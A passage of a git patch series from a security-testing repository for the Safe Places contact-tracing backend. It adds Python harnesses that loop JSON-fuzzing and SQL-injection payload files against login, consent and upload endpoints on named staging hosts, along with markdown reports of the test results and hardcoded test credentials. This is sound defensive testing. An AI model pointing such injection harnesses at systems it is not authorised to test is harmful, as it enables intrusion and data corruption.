longitude":-0.10465957264533315,"latitude":51.524880908229996},{"time":1584651323312,"longitude":-0.08399019677714586,"latitude":51.522202534054934},{"time":1584651433744,"longitude":-0.08756354048795562,"latitude":51.53252181919554},{"time":1584651758273,"longitude":-0.07329427913608524,"latitude":51.56834265792316}] diff --git a/dynamic_testing/JSONFuzzing/test_fuzzing.py b/dynamic_testing/JSONFuzzing/test_fuzzing.py new file mode 100644 index 0000000..c952c35 --- /dev/null +++ b/dynamic_testing/JSONFuzzing/test_fuzzing.py @@ -0,0 +1,81 @@ +import unittest +import traceback +import json +from CovidApp import CovidApp + +class CovidPathTests(unittest.TestCase): + #def __init__(self): + + #jsonPayload = ...load it...https://github.com/fuzzdb-project/fuzzdb + + #Happy Path + #response is a tuple of status code, and time to respond + + # TODO: Need a URL that returns all URLs + # return safeplaces-backend/oas3.yaml + # Write a test that locks the attack surface - is the OAS3 spec automatically generated + + #Test javascript injections / nodejs applications + + #Test large files - with valid data + + #Test - Verify that structured data is strongly typed and validated against a defined schema including allowed characters, length and pattern + #(e.g. credit card numbers or telephone, or validating that two related fields are reasonable, such as checking that suburb and zip/postcode match). + + + + def jsonfuzz_login(self): + app = CovidApp() + with open("JSON_Fuzzing.txt") as file_in: + lines = [] + for payload in file_in: + print(payload) + result = app.spl_login_post_expect_error("/login", payload) + try: + token = json.loads(result['response'].read())['token'] + print(token) + except: + pass + + def jsonfuzz_get_access_code(self): + app = CovidApp() + app.login_as_contact_tracer("spladmin", "password") + with open("JSON_Fuzzing.txt") as file_in: + lines = [] + for payload in file_in: + print(payload) + result = app.get_access_code_with_payload(payload) + try: + code = json.loads(result['response'].read())['token'] + print(code) + except: + pass + + def jsonfuzz_upload(self): + app = CovidApp() + app.login_as_contact_tracer("spladmin", "password") + with open("JSON_Fuzzing.txt") as file_in: + lines = [] + for payload in file_in: + print(payload) + code = app.get_an_access_code() + app.user_consent(code) + try: + result = app.upload_data(code, payload) + except Exception as e: + #print(result['response'].read()) + tb = traceback.format_exc() + print(tb) + + + def happy_path(self): + app = CovidApp() + app.login_as_contact_tracer("spladmin", "password") + code = app.get_an_access_code() + app.user_consent(code) + + with open('privkit31A-synthetic-REDACTED.json', 'r') as myfile: + data = myfile.read() + obj = json.loads(data) + + app.upload_data(code, obj) diff --git a/dynamic_testing/test_hacking.py b/dynamic_testing/test_hacking.py new file mode 100644 index 0000000..95c28a0 --- /dev/null +++ b/dynamic_testing/test_hacking.py @@ -0,0 +1,84 @@ +#!/usr/bin/python3 +import http.client +import unittest +import json +import time + +class CovidPath(unittest.TestCase): + token = "" + conn = http.client.HTTPSConnection("zeus.safeplaces.extremesolution.com") + + #def __init__(self): + + #jsonPayload = ...load it...https://github.com/fuzzdb-project/fuzzdb + + #Happy Path + #response is a tuple of status code, and time to respond + + # TODO: Need a URL that returns all URLs + # return safeplaces-backend/oas3.yaml + # Write a test that locks the attack surface - is the OAS3 spec automatically generated + + #Test javascript injections / nodejs applications + + #Test large files - with valid data + + #Test - Verify that structured data is strongly typed and validated against a defined schema including allowed characters, length and pattern + #(e.g. credit card numbers or telephone, or validating that two related fields are reasonable, such as checking that suburb and zip/postcode match). + + def test_happy_path(self): + self.login_as_contact_tracer("spladmin", "theforce") + code = self.get_an_access_code() + self.is_code_valid(code) + self.user_consent(code) + self.upload_data(code, json) + + def authenticated_post(endpoint, payload): + headers = { + 'content-type': "application/json", + 'cache-control': "no-cache", + 'Authorization': "Bearer " + self.token, + } + + start_time = time.time() + self.conn.request("POST", endpoint, payload, headers) + result = {} + result['response'] = self.conn.getresponse() + result['status'] = self.conn.getresponse().status + result['duration'] = time.time() - start_time + return validate_results(result) + + def unauthenticated_post(endpoint, payload): + headers = { + 'content-type': "application/json", + 'cache-control': "no-cache" + } + start_time = time.time() + self.conn.request("POST", endpoint, payload, headers) + result = {} + result['response'] = self.conn.getresponse() + result['status'] = self.conn.getresponse().status + result['duration'] = time.time() - start_time + return validate_results(result) + + def validate_results(self, response): + assert response['duration'] < 200 + assert response['status'] in range (200, 299) + return response + + def login_as_contact_tracer(self, user, pw): + payload = "{\"username\": +user, \"password\":" + pw + "}" + result = self.unauthenticated_post("/login", payload) + self.token = json.loads(result['response'].decode("utf-8"))['token'] + + def get_an_access_code(self): + headers = { + 'content-type': "application/json", + 'Authorization': "Bearer " + self.token, + 'cache-control': "no-cache" + } + + self.conn.request("POST", "/access-code", "", headers) + res = self.conn.getresponse() + data = res.read() + print(data) From b921c9a93e498504f3ec4230771c5601ec96604e Mon Sep 17 00:00:00 2001 From: adam Date: Mon, 22 Jun 2020 17:29:35 +0200 Subject: [PATCH 4/6] Updated principles reference --- dynamic_testing/test_hacking.py | 84 -------------------------- principles/1_SecurityImplementation.md | 2 +- 2 files changed, 1 insertion(+), 85 deletions(-) delete mode 100644 dynamic_testing/test_hacking.py diff --git a/dynamic_testing/test_hacking.py b/dynamic_testing/test_hacking.py deleted file mode 100644 index 95c28a0..0000000 --- a/dynamic_testing/test_hacking.py +++ /dev/null @@ -1,84 +0,0 @@ -#!/usr/bin/python3 -import http.client -import unittest -import json -import time - -class CovidPath(unittest.TestCase): - token = "" - conn = http.client.HTTPSConnection("zeus.safeplaces.extremesolution.com") - - #def __init__(self): - - #jsonPayload = ...load it...https://github.com/fuzzdb-project/fuzzdb - - #Happy Path - #response is a tuple of status code, and time to respond - - # TODO: Need a URL that returns all URLs - # return safeplaces-backend/oas3.yaml - # Write a test that locks the attack surface - is the OAS3 spec automatically generated - - #Test javascript injections / nodejs applications - - #Test large files - with valid data - - #Test - Verify that structured data is strongly typed and validated against a defined schema including allowed characters, length and pattern - #(e.g. credit card numbers or telephone, or validating that two related fields are reasonable, such as checking that suburb and zip/postcode match). - - def test_happy_path(self): - self.login_as_contact_tracer("spladmin", "theforce") - code = self.get_an_access_code() - self.is_code_valid(code) - self.user_consent(code) - self.upload_data(code, json) - - def authenticated_post(endpoint, payload): - headers = { - 'content-type': "application/json", - 'cache-control': "no-cache", - 'Authorization': "Bearer " + self.token, - } - - start_time = time.time() - self.conn.request("POST", endpoint, payload, headers) - result = {} - result['response'] = self.conn.getresponse() - result['status'] = self.conn.getresponse().status - result['duration'] = time.time() - start_time - return validate_results(result) - - def unauthenticated_post(endpoint, payload): - headers = { - 'content-type': "application/json", - 'cache-control': "no-cache" - } - start_time = time.time() - self.conn.request("POST", endpoint, payload, headers) - result = {} - result['response'] = self.conn.getresponse() - result['status'] = self.conn.getresponse().status - result['duration'] = time.time() - start_time - return validate_results(result) - - def validate_results(self, response): - assert response['duration'] < 200 - assert response['status'] in range (200, 299) - return response - - def login_as_contact_tracer(self, user, pw): - payload = "{\"username\": +user, \"password\":" + pw + "}" - result = self.unauthenticated_post("/login", payload) - self.token = json.loads(result['response'].decode("utf-8"))['token'] - - def get_an_access_code(self): - headers = { - 'content-type': "application/json", - 'Authorization': "Bearer " + self.token, - 'cache-control': "no-cache" - } - - self.conn.request("POST", "/access-code", "", headers) - res = self.conn.getresponse() - data = res.read() - print(data) diff --git a/principles/1_SecurityImplementation.md b/principles/1_SecurityImplementation.md index 2c1fe87..feaea90 100644 --- a/principles/1_SecurityImplementation.md +++ b/principles/1_SecurityImplementation.md @@ -170,7 +170,7 @@ applications, especially when they are performing sensitive or dangerous actions #### 5.1 Input Validation Requirements * Verify that the application has defenses against HTTP parameter pollution attacks, particularly if the application framework makes no distinction about the source of request parameters (GET, POST, cookies, headers, or environment variables). * Verify that frameworks protect against mass parameter assignment attacks, or that the application has countermeasures to protect against unsafe parameter assignment, such as marking fields private or similar. -* Verify that all input (HTML form fields, REST requests, URL parameters, HTTP headers, cookies, batch files, RSS feeds, etc) is validated using positive validation (whitelisting). +* Verify that all input (HTML form fields, REST requests, URL parameters, HTTP headers, cookies, batch files, RSS feeds, etc) is validated using positive validation (whitelisting). [![PARTIALLY TRUE](../images/partial.png?raw=true)](../dynamic_testing/JSONFuzzing/JZONFuzzing.md) * Verify that structured data is strongly typed and validated against a defined schema including allowed characters, length and pattern (e.g. credit card numbers or telephone, or validating that two related fields are reasonable, such as checking that suburb and zip/postcode match). * Verify that URL redirects and forwards only allow whitelisted destinations, or show a warning when redirecting to potentially untrusted content. From 096198c242a128533de463953ed076065a7c712a Mon Sep 17 00:00:00 2001 From: adam Date: Mon, 22 Jun 2020 18:02:12 +0200 Subject: [PATCH 5/6] Added additional description --- dynamic_testing/JSONFuzzing/JSONFuzzing.md | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/dynamic_testing/JSONFuzzing/JSONFuzzing.md b/dynamic_testing/JSONFuzzing/JSONFuzzing.md index 5657d8c..806714f 100644 --- a/dynamic_testing/JSONFuzzing/JSONFuzzing.md +++ b/dynamic_testing/JSONFuzzing/JSONFuzzing.md @@ -1,17 +1,25 @@ # OWASP principles in scope Verify that all input (HTML form fields, REST requests, URL parameters, HTTP headers, cookies, batch files, RSS feeds, etc) is validated using positive validation (whitelisting). - # Endpoints in scope -* Safeplaces facing /login endpoint, and endpoint to get a new access-code -* Public endpoint for uploading location data +* Safeplaces facing /login API endpoint, and endpoint to get a new access-code +* Public endpoint API for uploading location data # Purpose of test -This test was to provide some assurance that these key endpoints are not vulnerable to JSON injection. Based on a list of known attacks from fuzzdb. +This test was to provide some assurance that these key endpoints are not vulnerable to JSON injection. + +The end-points were selected as they are accessible to someone reverse engineering the mobile application, and a contact tracer working inside a healthcare authority, and represent the only data entry point to the Safe Places system in the current release. + +The existence of a vulnerabilty may mean that bad data can be injected, existing data can be compromised, or the system can be otherwise subverted at the application code level. + +The actual payloads for the attacks were based on a list of known JSON attacks from fuzzdb. The tests require pytest, and can be run by adding "test_" to the start of the methods name in test_fuzzing.py. For example, changing "happy_path" to "test_happy_path", then running pytest in this folder, will execute a happy path test. # Test results * The login endpoint was tested to ensure that with any JSON Fuzz example an error response is returned, not a login token -* The access-code endpoint was tested to ensure that if any fuzz example was sent, an access code was still provided (as the POST payload is not used). This test failed as 4xx errors were seen. [See jira.}(https://pathcheck.atlassian.net/browse/PLACES-423?atlOrigin=eyJpIjoiNDNjYmIyMTEwN2Q1NDBlNjg3YWFmZTU4YmM0NjExYWUiLCJwIjoiaiJ9) +* The access-code endpoint was tested to ensure that if any fuzz example was sent, an access code was still provided (as the POST payload is not used). This test failed as 4xx errors were seen. [See jira.}(https://pathcheck.atlassian.net/browse/PLACES-423?atlOrigin=eyJpIjoiNDNjYmIyMTEwN2Q1NDBlNjg3YWFmZTU4YmM0NjExYWUiLCJwIjoiaiJ9). This does not mean the application is necessarily vulnerable. * The upload endpoint was tested to ensure that fuzz data was not propogated into the solution. In some instances the data was accepted (2xx response), and I checked in the UI that out of all the posted fuzz examples, only one actually ended up inside the database (and accessible through the UI), and this was simply empty, rather than holding corrupt data + +# Further testing +This covers a JSON payload on some priority interfaces, but not all of them. SQL injection has not been tested yet, nor has javascript injection. From 5ee17fbd65a728ec9d6fa651fad6496d69058535 Mon Sep 17 00:00:00 2001 From: adam Date: Wed, 24 Jun 2020 13:16:34 +0200 Subject: [PATCH 6/6] Added SQL Injection Testing --- dynamic_testing/JSONFuzzing/JSONFuzzing.md | 4 +- dynamic_testing/SQLInjection/CovidApp.py | 188 +++++++++++++++++ dynamic_testing/SQLInjection/SQLInjection.md | 27 +++ .../__pycache__/CovidApp.cpython-38.pyc | Bin 0 -> 6061 bytes .../test_fuzzing.cpython-38-pytest-5.4.3.pyc | Bin 0 -> 4097 bytes .../privkit31A-synthetic-REDACTED.json | 1 + dynamic_testing/SQLInjection/test_fuzzing.py | 193 ++++++++++++++++++ dynamic_testing/SQLInjection/xplatform.txt | 193 ++++++++++++++++++ 8 files changed, 604 insertions(+), 2 deletions(-) create mode 100644 dynamic_testing/SQLInjection/CovidApp.py create mode 100644 dynamic_testing/SQLInjection/SQLInjection.md create mode 100644 dynamic_testing/SQLInjection/__pycache__/CovidApp.cpython-38.pyc create mode 100644 dynamic_testing/SQLInjection/__pycache__/test_fuzzing.cpython-38-pytest-5.4.3.pyc create mode 100644 dynamic_testing/SQLInjection/privkit31A-synthetic-REDACTED.json create mode 100644 dynamic_testing/SQLInjection/test_fuzzing.py create mode 100644 dynamic_testing/SQLInjection/xplatform.txt diff --git a/dynamic_testing/JSONFuzzing/JSONFuzzing.md b/dynamic_testing/JSONFuzzing/JSONFuzzing.md index 806714f..26c6e27 100644 --- a/dynamic_testing/JSONFuzzing/JSONFuzzing.md +++ b/dynamic_testing/JSONFuzzing/JSONFuzzing.md @@ -17,9 +17,9 @@ The actual payloads for the attacks were based on a list of known JSON attacks f The tests require pytest, and can be run by adding "test_" to the start of the methods name in test_fuzzing.py. For example, changing "happy_path" to "test_happy_path", then running pytest in this folder, will execute a happy path test. # Test results -* The login endpoint was tested to ensure that with any JSON Fuzz example an error response is returned, not a login token +* The login endpoint was not tested with SQL injection as it relies on LDAP, and that is a test server not a recommended implementation * The access-code endpoint was tested to ensure that if any fuzz example was sent, an access code was still provided (as the POST payload is not used). This test failed as 4xx errors were seen. [See jira.}(https://pathcheck.atlassian.net/browse/PLACES-423?atlOrigin=eyJpIjoiNDNjYmIyMTEwN2Q1NDBlNjg3YWFmZTU4YmM0NjExYWUiLCJwIjoiaiJ9). This does not mean the application is necessarily vulnerable. * The upload endpoint was tested to ensure that fuzz data was not propogated into the solution. In some instances the data was accepted (2xx response), and I checked in the UI that out of all the posted fuzz examples, only one actually ended up inside the database (and accessible through the UI), and this was simply empty, rather than holding corrupt data # Further testing -This covers a JSON payload on some priority interfaces, but not all of them. SQL injection has not been tested yet, nor has javascript injection. +This covers a JSON payload on some priority interfaces, but not all of them. diff --git a/dynamic_testing/SQLInjection/CovidApp.py b/dynamic_testing/SQLInjection/CovidApp.py new file mode 100644 index 0000000..ffe7ddc --- /dev/null +++ b/dynamic_testing/SQLInjection/CovidApp.py @@ -0,0 +1,188 @@ +#!/usr/bin/python3 +import http.client +import json +import time + +class CovidApp(): + token = "" + spl_url = "zeus.safeplaces.extremesolution.com" + pe_url= "hermes.safeplaces.extremesolution.com" + code = 0; + + + def validate_results(self, response): + print("duration" + str(response['duration'])) + assert response['duration'] < 5, "Over time. HTTP status: " + str(response['status']) + print("status" + str(response['status'])) + assert response['status'] in range (200, 299), "Bad HTTP status: " + str(response['status']) + return response + + def validate_results_expect_error(self, response): + print("duration" + str(response['duration'])) + assert response['duration'] < 70 + print("status" + str(response['status'])) + assert response['status'] in (401, 403, 504, 500, 501, 400), "Bad HTTP status: " + str(response['status']) + print("OK response: " + str(response['status'])) + return response + + def authenticated_post(self, endpoint, payload): + conn = http.client.HTTPSConnection(self.spl_url) + headers = { + 'content-type': "application/json", + 'cache-control': "no-cache", + 'Authorization': "Bearer " + self.token, + } + + start_time = time.time() + print("Calling " + endpoint + " payload:" + str(payload) + " headers: " + str(headers)) + conn.request("POST", endpoint, payload, headers) + result = {} + result['response'] = conn.getresponse() + result['status'] = result['response'].status + result['duration'] = time.time() - start_time + return self.validate_results(result) + + def authenticated_post_with_payload(self, endpoint, payload): + conn = http.client.HTTPSConnection(self.spl_url) + headers = { + 'content-type': "application/json", + 'cache-control': "no-cache", + 'Authorization': "Bearer " + self.token, + } + + start_time = time.time() + print("Calling " + endpoint + " payload:" + str(payload) + " headers: " + str(headers)) + conn.request("POST", endpoint, payload, headers) + result = {} + result['response'] = conn.getresponse() + result['status'] = result['response'].status + result['duration'] = time.time() - start_time + return self.validate_results(result) + + def public_unauthenticated_post(self, endpoint, payload): + conn = http.client.HTTPSConnection(self.pe_url) + headers = { + 'content-type': "application/json", + 'cache-control': "no-cache" + } + start_time = time.time() + print("Calling " + endpoint + " payload:" + str(payload) + " headers: " + str(headers)) + conn.request("POST", endpoint, payload, headers) + result = {} + result['response'] = conn.getresponse() + result['status'] = result['response'].status + result['duration'] = time.time() - start_time + return self.validate_results(result) + + def public_unauthenticated_post_any_result(self, endpoint, payload): + conn = http.client.HTTPSConnection(self.pe_url) + headers = { + 'content-type': "application/json", + 'cache-control': "no-cache" + } + start_time = time.time() + print("Calling " + endpoint + " payload:" + str(payload) + " headers: " + str(headers)) + conn.request("POST", endpoint, payload, headers) + result = {} + result['response'] = conn.getresponse() + result['status'] = result['response'].status + result['duration'] = time.time() - start_time + return self.validate_results(result) + + def public_unauthenticated_post_expect_error(self, endpoint, payload): + conn = http.client.HTTPSConnection(self.pe_url) + headers = { + 'content-type': "application/json", + 'cache-control': "no-cache" + } + start_time = time.time() + print("Calling " + endpoint + " payload:" + str(payload) + " headers: " + str(headers)) + conn.request("POST", endpoint, payload, headers) + result = {} + result['response'] = conn.getresponse() + result['status'] = result['response'].status + result['duration'] = time.time() - start_time + return self.validate_results_expect_error(result) + + def spl_login_post(self, endpoint, payload): + conn = http.client.HTTPSConnection(self.spl_url) + headers = { + 'content-type': "application/json", + 'cache-control': "no-cache" + } + start_time = time.time() + print("Calling " + endpoint + " payload:" + str(payload) + " headers: " + str(headers)) + conn.request("POST", endpoint, payload, headers) + result = {} + result['response'] = conn.getresponse() + result['status'] = result['response'].status + result['duration'] = time.time() - start_time + return self.validate_results(result) + + def spl_login_post_expect_error(self, endpoint, payload): + print("Calling: " + str(self.spl_url) + str(endpoint)) + conn = http.client.HTTPSConnection(self.spl_url) + headers = { + 'content-type': "application/json", + 'cache-control': "no-cache" + } + start_time = time.time() + conn.request("POST", endpoint, payload, headers) + result = {} + result['response'] = conn.getresponse() + result['status'] = result['response'].status + result['duration'] = time.time() - start_time + return self.validate_results_expect_error(result) + + def login_as_contact_tracer(self, user, pw): + payload = json.loads("{\"username\": \"" + user + "\", \"password\":\"" + pw + "\"}") + result = self.spl_login_post("/login", json.dumps(payload)) + self.token = json.loads(result['response'].read())['token'] + + def get_an_access_code(self): + result = self.authenticated_post("/access-code", "") + self.code = json.loads(result['response'].read())['accessCode'] + return self.code + + def get_access_code_with_payload(self, payload): + result = self.authenticated_post_with_payload("/access-code", payload) + self.code = json.loads(result['response'].read())['accessCode'] + + def user_consent(self, code): + payload = {} + payload['accessCode'] = self.code + payload['consent'] = True + self.public_unauthenticated_post("/consent", json.dumps(payload) ) + + def user_consent_expect_error(self, code): + payload = {} + payload['accessCode'] = code + payload['consent'] = True + self.public_unauthenticated_post_expect_error("/consent", json.dumps(payload) ) + + def upload_data(self, code, json_data): + payload = {} + payload['accessCode'] = self.code + payload['concernPoints'] = json_data + result = self.public_unauthenticated_post("/upload", json.dumps(payload)) + response = result['response'].read() + + return response + + def upload_data_expect_error(self, code, json_data): + payload = {} + payload['accessCode'] = self.code + payload['concernPoints'] = json_data + result = self.public_unauthenticated_post_expect_error("/upload", json.dumps(payload)) + response = result['response'].read() + + return response + + def upload_data_any_result(self, code, json_data): + payload = {} + payload['accessCode'] = self.code + payload['concernPoints'] = json_data + result = self.public_unauthenticated_post_any_result("/upload", json.dumps(payload)) + response = result['response'].read() + + return response diff --git a/dynamic_testing/SQLInjection/SQLInjection.md b/dynamic_testing/SQLInjection/SQLInjection.md new file mode 100644 index 0000000..b70e084 --- /dev/null +++ b/dynamic_testing/SQLInjection/SQLInjection.md @@ -0,0 +1,27 @@ +# OWASP principles in scope +Verify that all input (HTML form fields, REST requests, URL parameters, HTTP headers, cookies, batch files, RSS feeds, etc) is validated using positive validation (whitelisting). + +# Endpoints in scope +* Safeplaces facing /login API endpoint, and endpoint to get a new access-code +* Public endpoint API for uploading location data + +# Purpose of test +This test was to provide some assurance that these key endpoints are not vulnerable to SQL injection. + +The end-points were selected as they are accessible to someone reverse engineering the mobile application, and a contact tracer working inside a healthcare authority, and represent the only data entry point to the Safe Places system in the current release. + +The existence of a vulnerabilty may mean that bad data can be injected, existing data can be compromised, or the system can be otherwise subverted at the application code level. + +The actual payloads for the attacks were based on a list of known SQL attacks from fuzzdb. + +The tests require pytest, and can be run by adding "test_" to the start of the test method name in test_fuzzing.py. For example, changing "happy_path" to "test_happy_path", then running pytest in this folder, will execute a happy path test. + +# Test results +No issues were found: + +* The login endpoint was tested to ensure that with any SQL injection example an error response is returned, not a login token +* The consent endpoint was tested to ensure that if any attack was sent as an access code in a payload, a failure was returned. +* The upload endpoint was tested to ensure that attacked data was not accepted or propogated into the solution when placing the attack string in latitude, longitude, time, access code or key name fields. The trace screen was regularly checked to see if new data had been uploaded, propogated from the attacks. + +# Further testing +This covers some SQL injection attackes on some priority interfaces, but could be extended to cover other endpoints and attack strings. diff --git a/dynamic_testing/SQLInjection/__pycache__/CovidApp.cpython-38.pyc b/dynamic_testing/SQLInjection/__pycache__/CovidApp.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..ad6e3541b29db6817d613566a5e791358fb178ec GIT binary patch literal 6061 zcmdT|S#KNH6~41_xM+=RN|qhdw5*s-BsOi*MNm`QY7(al?ZPh55=947-ibwt8cyyE z?PyBB*m)^X6fIJqFDXEweG$;t{)hgCdF_**+W>`t7X8j0?johUw5UnUxwG75zV9se zocYnrOorjN_x9g^_W2dY{zezWKMfbRa0Fk1;EXE`R#jxHR#n+*RqcJoRjz%)xb|GF z>RfriO8N`*XO$Ys;h&0&TR4J0LAY`*%%fB_P9wFd!S$-i4Q_tIswtl07Fvs^c?NBo zXL$~7hR^U>v{^pK=h5c)0$)Ts!(ZV`XlMBaei7{)&+}!p^L&M0Lc73M`DL_={0e^+ z?JN8$FQ8rG*LV@_1%92cp}oj&@O89#{u+?njIEvK<2t|X`!S2IM{X6Y>w}ZeHH2b?kG(~I($9v=+tFa!qjSpi>xPjmF0{57SdCYq9lk#r!z%4u6IVeAA ziv7R`?PcEycQ}A(8&@JDh}UPwA*_wx=B_Pc^Pk*uj;a2VtLSPxa8~7)R`> z5h8@N;V<0GvoO_G$#-~4p6h)-(mEEm+Dcn(>qol6>g=i6);j4U);4*1Tgnx-m%&wL zn1jb*x@#Z%VFw#_3Df1InF%sal{sMn;^l=p(BcVcqbL6iNcAB1-*ngY~{D$2Ujo1jA`>q%3 zb_u{L1+-6 zP1DC_;$P!twCDga-jaxOx$QTD@G>S3EMvHoS6ma+yr(v_Sti#A&AThi(A zFQ55{3jix#CGi>w3VK7XcJ(wy`$;|AwY#)$p!<1*-8_S^k;$gB_bV(j$@xB0;dFXO zmrjShTRNQqM>D%lM-FJVhn)_)`YETgq|;f_=`1*1I&r~d=C0Gh3E^~bN9lCginvHj zPhzZ-P9PJ)7vAp4)F zqgB84b9leq@=h!39SjQS?Yaj2Z&M#L=e53e&Y0%q(Tvz6n!Ze8l0C1V0n&E7!|qo6 z1B^eLwxOMTI{QO2zGMuR#*I|GNtB*#p|tZ(Wc}t@tPk(qKRuWCH@}Fve!(sM|1GLW z+da*E@qFf|#)etiZyU`=bx-bZ`{(kT@AEr4a=QIK!<^l0lkLe=hw{T-niFb!ddEPL zq{@^D2@_H!irQw!q^OOQCq>E9SQ?Z>WK%|Dvm239NQ304ZbYVd-H*tnbR|l6bC#{b zAUKOMu{R+MgXcl0l@yOg<;2#6enULPp`ClwuHr&zNRJ15_FH zQ`5Ur109rUa{p8Ftc`u7DHtw+Q?>nLrV8!L=<&Lf3`;Wo1k&SV}R z&Hkd;LXm_r#w~6YiqTy0jY83Pf&c{&FK!hhwfHnL%hIfp&Fwngpk&56<({!Y$zmYh z#=Y3!tph)Zb%DH5$XmL9-l1&S~6OY{v0 zJX0plk&*Iwkqw z#;Ba+%1#Y+cYwSZiLi$8l7Tpr+}^?6k|Exp`(G#V4H8=rl%V37D&bGWyNHw*JBFRi z1kl|5H3oK}=9J~(-1Btbk$R9`tdEiyPEfW<|Eff(a7%a`GJYVS8kx0GFGCk9TD7Ya zP3oi@ln{{MY)LBLHU|2s&VW#Oy?3ALy&y`JTRsICX`rx8sf|%ZNq;*w6WgTc)iebr z8{b--p>QK>*D)1llgVY*KN1-^h@J))m7E$a4G59%A-n!}C=l;q?HwlSu?CL~hgHe^za%|Z) z?Q*sqXKeeR$y*IN&)N1zEvJz@k-L_V34%<4rM<~~OC|#{(#!ZLZBQbSs-o>re2v65 ziCZLYllTsacS+nO@d1hNk{Bpbp3$c+LAw>Xll=Z|A(F_yW~D64TEKs<|2Hhd(k&DJ qw3U|QN=7wHUt>0tk1bYzrU(aW?RkyObP%l8O zHSDHcw<-C8Fr66>2{U+ZrMRir9Y$}Giuo8;AlE8XS(l@G0lO5(KKAVYY0$U`CAk8? zGfnCmqfC29>Uvjd-C!omLEB_`WFE@ZdnX3?&(a5lJ>lho*Fk;;P#kB~rt6H??1eJ6fu3>D#2EOJmDS^=;ZQ zZj&0hPHvC|e9zpZzx>rPmq;g>#|?O(lNU$fPu?X(126B4x(pb_Ce4i&cjdA6)5-w0e!b7QY!V6i{RC%le=+GM=N>8Lv z!>t&lxXhED%hzKL3vwYMp$b>meICmIbT4Eo-1YobWuy8YytD2r6Sf^n2rVPwjYXw< zajbI9_F~ZB%0PiikM6FhJa)KXFtZVaJW=#+RceANQEo90%*KCNY?2JchU)^Ow25I*!ip{PtMF z{gw!1dz`gHuNnBRgt!mFrSY5B=f4V9V5hLRaqM(aBN(a1ZS`id*1)E_W0@=ErsBWQc;!_5 zZC@(>d}u0;LLytKu}v`{(>x|4B$y2eR)A-FC&7xVw)h*;tC*#ivsHrha%4GmcG9by z+Aok^#RtVB(o5huEKGzPLLR{asFx;d7p5o9&&|$E%uG!Q8~PsgWhozc`JJ88 z&kduEleNieZTiCW-1NlE4B}iCN&<6ROd|BSufNBAaDsmeuf3f2&K~VOkonqq$2(6M z80N?LYp};(e$;@|pRc{N&ptTXXFGCV`|WtYZ48V}R3|5AW@l>?bF*{PQ?pYSYPDnh z_)OkK;ZHB^!{hQU3J>@XFPZ|Bj0T7B@XB}ZXvfSb@E}m(E(Jy^oKJH|f!Dt5p_jR9 z&po&*)(hNq^^yIw?*N^H`A1)Ddv{vT0XUp7q^DW6k7WLi?&t?Nc!}YqwQ;T|d7dZZ zfcf#p-!(sehdpb4FrEgqLxWmRH8i3$cE3yXRNpdT)Q~waG0>Tgxo2RQVWnDX;o>16ghZ)0NAAz(x~XDKjI|NiCz7 z+Qvwa5%=a?tJunNT|C%aSJ|%Hj93duwyPZ1U2A#Sk>|Q%45W%FglU8t!g+*QgbN6J zie*noS%eON%qu}EWer$otkc%1tn_7Lm6EdVwt@z*=|njfVI#Y(5jSq5v#aoJ#04_! zs^Is5hI3We?Lr>b?XzKW78{;WRx1o7HoBZFqj4Bs-R~mn7K~i>KqzW=nA*zvtZRnP R@yn{KJLxAFkN9`A{{hA$sSf}E literal 0 HcmV?d00001 diff --git a/dynamic_testing/SQLInjection/privkit31A-synthetic-REDACTED.json b/dynamic_testing/SQLInjection/privkit31A-synthetic-REDACTED.json new file mode 100644 index 0000000..d77e59f --- /dev/null +++ b/dynamic_testing/SQLInjection/privkit31A-synthetic-REDACTED.json @@ -0,0 +1 @@ +[{"time":1583069740422,"longitude":-0.11477509793272855,"latitude":51.53839304439309},{"time":1583069745916,"longitude":-0.10753902581515137,"latitude":51.55987524514395},{"time":1583069765568,"longitude":-0.06407687379643874,"latitude":51.53626227398831}] diff --git a/dynamic_testing/SQLInjection/test_fuzzing.py b/dynamic_testing/SQLInjection/test_fuzzing.py new file mode 100644 index 0000000..81a8a8d --- /dev/null +++ b/dynamic_testing/SQLInjection/test_fuzzing.py @@ -0,0 +1,193 @@ +import unittest +import traceback +import json +import random +from CovidApp import CovidApp + +class CovidPathTests(unittest.TestCase): + #def __init__(self): + + #jsonPayload = ...load it...https://github.com/fuzzdb-project/fuzzdb + + #Happy Path + #response is a tuple of status code, and time to respond + + # TODO: Need a URL that returns all URLs + # return safeplaces-backend/oas3.yaml + # Write a test that locks the attack surface - is the OAS3 spec automatically generated + + #Test javascript injections / nodejs applications + + #Test large files - with valid data + + #Test - Verify that structured data is strongly typed and validated against a defined schema including allowed characters, length and pattern + #(e.g. credit card numbers or telephone, or validating that two related fields are reasonable, such as checking that suburb and zip/postcode match). + + + def sqlfuzz_upload_random(self): + app = CovidApp() + app.login_as_contact_tracer("spladmin", "password") + + #load base data + with open('privkit31A-synthetic-REDACTED.json', 'r') as myfile: + data = myfile.read() + obj = json.loads(data) + + #load fuzz patterns + with open("xplatform.txt") as file_in: + lines = [] + for fuzz in file_in: + code = app.get_an_access_code() + app.user_consent(code) + try: + # insert the SQL injection at a random location in the payload + n = random.randint(1,len(obj)) + left = str(obj[:n]) + right = str(obj[n:]) + new_payload = left + fuzz + right + result = app.upload_data_expect_error(code, new_payload) + except Exception as e: + tb = traceback.format_exc() + print(tb) + try: + print(result['response'].read()) + except: + pass + + + def sqlfuzz_upload_time(self): + app = CovidApp() + app.login_as_contact_tracer("spladmin", "password") + + #load base data + with open('privkit31A-synthetic-REDACTED.json', 'r') as myfile: + data = myfile.read() + obj = json.loads(data) + + #load fuzz patterns + with open("xplatform.txt") as file_in: + lines = [] + for fuzz in file_in: + code = app.get_an_access_code() + app.user_consent(code) + try: + # insert the SQL injection at a random location in the payload + new_payload = json.dumps(obj).replace('1583069740422', fuzz) + result = app.upload_data_expect_error(code, new_payload) + except Exception as e: + tb = traceback.format_exc() + print(tb) + try: + print(result['response'].read()) + except: + pass + + + def sqlfuzz_upload_lat(self): + app = CovidApp() + app.login_as_contact_tracer("spladmin", "password") + + #load base data + with open('privkit31A-synthetic-REDACTED.json', 'r') as myfile: + data = myfile.read() + obj = json.loads(data) + + #load fuzz patterns + with open("xplatform.txt") as file_in: + lines = [] + for fuzz in file_in: + code = app.get_an_access_code() + app.user_consent(code) + try: + # insert the SQL injection at a random location in the payload + new_payload = json.dumps(obj).replace('51.53839304439309', fuzz) + result = app.upload_data_expect_error(code, new_payload) + except Exception as e: + tb = traceback.format_exc() + print(tb) + try: + print(result['response'].read()) + except: + pass + + def sqlfuzz_upload_colname(self): + app = CovidApp() + 